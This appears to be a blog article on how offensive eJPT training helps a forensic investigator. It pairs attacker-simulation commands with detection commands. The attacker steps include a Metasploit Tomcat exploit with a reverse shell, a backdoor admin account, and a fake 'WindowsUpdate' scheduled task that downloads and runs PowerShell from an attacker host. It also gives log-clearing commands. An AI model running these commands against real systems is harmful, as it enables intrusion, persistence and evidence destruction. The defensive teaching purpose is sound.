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Introduction:
In the high-stakes world of cybersecurity, the line between offense and defense is often a matter of perspective. For a Digital Forensic Investigator working on the Blue Team, understanding an attacker’s mindset isn’t just an advantage—it’s a necessity. This article explores the journey of a professional who passed the eJPT certification not to switch sides, but to become a more effective defender by learning the specific commands, tools, and methodologies attackers use to breach networks, ensuring that forensic analysis catches the crime as it happens, not just after the fact.
Learning Objectives:
- Understand the synergy between Offensive Security (eJPT) and Defensive Forensics (Blue Team).
- Learn the practical commands and tools used in initial access and persistence, as taught in the eJPT.
- Identify key attacker artifacts and log sources to enhance threat hunting and incident response.
You Should Know:
1. The Attacker’s Playbook: Reconnaissance and Scanning
To defend a network, you must first map it like an attacker. The eJPT curriculum heavily emphasizes reconnaissance, using tools that generate specific log entries and network traces a forensic investigator should recognize.
Step‑by‑step guide explaining what this does and how to use it:
Before an attacker launches an exploit, they perform network scanning. The most common tool for this is Nmap.
- Linux Command (Attacker Simulation):
Stealth SYN scan to identify open ports without completing the handshake sudo nmap -sS -p- -T4 -v <target_ip>
What it does: This sends SYN packets. If a SYN/ACK is received, the port is open. The connection is never fully established (RST is sent), potentially bypassing basic logging on older systems.
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Windows Command (Defender/Forensic View):
To see if your own system is being scanned, you can monitor active connections.View current network connections and listening ports netstat -an | findstr "SYN_RECEIVED" Get-NetTCPConnection | Where-Object {$_.State -eq 'SynReceived'}Forensic Insight: A high number of `SYN_RECEIVED` states from a single IP without corresponding `ESTABLISHED` connections is a classic indicator of a port scan.
2. Gaining Initial Access: Exploitation Basics
The eJPT teaches how vulnerabilities are exploited to gain a foothold. Understanding this helps a Blue Teamer identify the “patient zero” during an investigation.
Step‑by‑step guide explaining what this does and how to use it:
A common vector is exploiting web applications or vulnerable services. Metasploit is a core tool for this.
- Linux Command (Attacker Simulation):
Start the Metasploit console msfconsole Search for a specific exploit, e.g., for Apache Tomcat search tomcat Use an exploit module use exploit/multi/http/tomcat_mgr_deploy Show required options show options Set the payload (e.g., a reverse TCP shell) set payload java/jsp_shell_reverse_tcp set RHOSTS <target_ip> set LHOST <attacker_ip> exploit
What it does: This attempts to upload a malicious JSP file to a Tomcat server, allowing the attacker to execute system commands.
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Windows Command (Defender/Forensic View):
After a successful exploit, attackers often create new processes. Investigators must hunt for anomalies.List all running processes with their parent process IDs (PPID) Get-Process -IncludeUserName | Select-Object Name, Id, Parent, UserName Check for suspicious child processes (e.g., cmd.exe or powershell.exe spawned from a web server process like w3wp.exe or tomcat.exe) Get-WmiObject Win32_Process | Where-Object { $_.Name -eq "cmd.exe" } | Format-ListForensic Insight: If `tomcat.exe` (PID 1234) spawns `cmd.exe` (PID 5678), this is abnormal and likely indicates a webshell or successful exploitation.
3. Establishing Persistence: The Post-Exploitation Phase
Attackers don’t want to lose access. The eJPT covers methods to maintain persistence. For a forensic analyst, these are the breadcrumbs that lead to the attacker’s long-term strategy.
Step‑by‑step guide explaining what this does and how to use it:
On Windows systems, creating a scheduled task or adding a registry run key is a common persistence mechanism.
- Linux Command (Attacker Simulation on Windows Target via Meterpreter):
Inside a Meterpreter session, add a user to the administrators group shell net user hacker Password123! /add net localgroup administrators hacker /add Or create a hidden scheduled task to call back every hour schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://<attacker_ip>:8080/connect'')')'" /sc hourly /mo 1 /ru "SYSTEM"What it does: Creates a task named “WindowsUpdate” that downloads and executes a PowerShell script from the attacker’s server every hour, running with SYSTEM privileges.
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Windows Command (Defender/Forensic Hunt):
An investigator must check for these exact artifacts.
Check for suspicious scheduled tasks
schtasks /query /fo LIST /v | findstr "TaskName: WindowsUpdate"
Check common registry run keys for persistence
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Check for recently created local users
Get-LocalUser | Where-Object {$_.Enabled -eq $true}
Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount=True" | Select-Object Name, SID, Status
4. Covering Tracks: Log Tampering and Clearing Evidence
A savvy attacker will try to erase their digital footprint. Knowing how they do it allows a forensic investigator to look for gaps in logging or evidence of log manipulation.
Step‑by‑step guide explaining what this does and how to use it:
On Linux systems, attackers often clear bash history or delete specific log entries.
- Linux Command (Attacker Simulation):
Clear the current user's bash history history -c Or simply delete the history file rm ~/.bash_history On a compromised system, an attacker might try to remove their IP from the logs This is harder to do cleanly, but they might stop the syslog service sudo systemctl stop rsyslog
What it does: Prevents the investigator from easily seeing the commands the attacker ran via
history. -
Linux Command (Forensic Analysis on a Dead Disk or Intact Logs):
An investigator should know that history can be recovered from memory or unallocated space, but also that log tampering often leaves traces.Check if the log service was stopped abruptly (check journalctl for gaps) journalctl --list-boots journalctl -b -1 | grep -i "stopping.rsyslog" Check for log files with zero size or recent truncation ls -la /var/log/ | grep -E "^(auth.log|syslog|secure)" | grep " 0 " A zero-byte log file that should have data is a massive red flag.
5. Network Traffic Analysis: Catching the Callback
Regardless of the exploit or persistence method, the attacker needs a connection back to their Command & Control (C2) server. This is where network forensics becomes critical.
Step‑by‑step guide explaining what this does and how to use it:
Using `tcpdump` to capture traffic and analyzing it with Wireshark or `tshark` is a key skill.
- Linux Command (Defender/Investigator – Live Analysis):
Capture traffic to and from a specific suspicious host sudo tcpdump -i eth0 -n host <suspicious_ip> -w suspicious_traffic.pcap Analyze the pcap for HTTP User-Agents or unusual traffic patterns tshark -r suspicious_traffic.pcap -Y "http.request" -T fields -e http.user_agent | sort | uniq -c
Forensic Insight: A User-Agent string that looks like a normal browser but is making requests every hour from a server process (like `wget` or a custom PowerShell one-liner) is a strong IOC (Indicator of Compromise).
What Undercode Say:
The distinction between Red and Blue teams is eroding. The most effective defenders are those who can think like an attacker. The eJPT provides the practical, hands-on understanding of attack chains that transforms a forensic investigator from a “crime scene cleaner” into a proactive threat hunter.
- Key Takeaway 1: Commands used by attackers (Nmap, Metasploit) generate specific, identifiable artifacts that Blue Teamers must learn to recognize in logs and memory dumps.
- Key Takeaway 2: Defensive strategies should be informed by offensive methodologies. Understanding the “how” of an intrusion allows for the creation of more targeted detection rules and faster incident response.
Analysis: This journey highlights a critical trend in cybersecurity: the convergence of skills. By mastering the attacker’s sequence—recon, initial access, persistence, and exfiltration—a forensic investigator can shift left in the detection timeline. They no longer simply document the damage; they identify the ladder, the window, and the exact moment the thief climbed through. This proactive stance is the future of robust cyber defense, moving beyond signature-based detection to behavior-based analysis rooted in the actual tactics, techniques, and procedures (TTPs) of adversaries.
Prediction:
As cyber threats become more sophisticated, we will see a mandatory requirement for all senior Blue Team members to hold at least one offensive security certification (like eJPT, OSCP, or GPEN). The future of Incident Response (IR) will not be purely reactive forensics; it will be “threat-informed defense,” where investigations are guided by a deep, practical understanding of how exploitation actually works at the command line. This will lead to the development of automated deception technologies that mimic real vulnerabilities to catch attackers during the reconnaissance phase.
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IT/Security Reporter URL:
Reported By: Mihir Choudhary – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
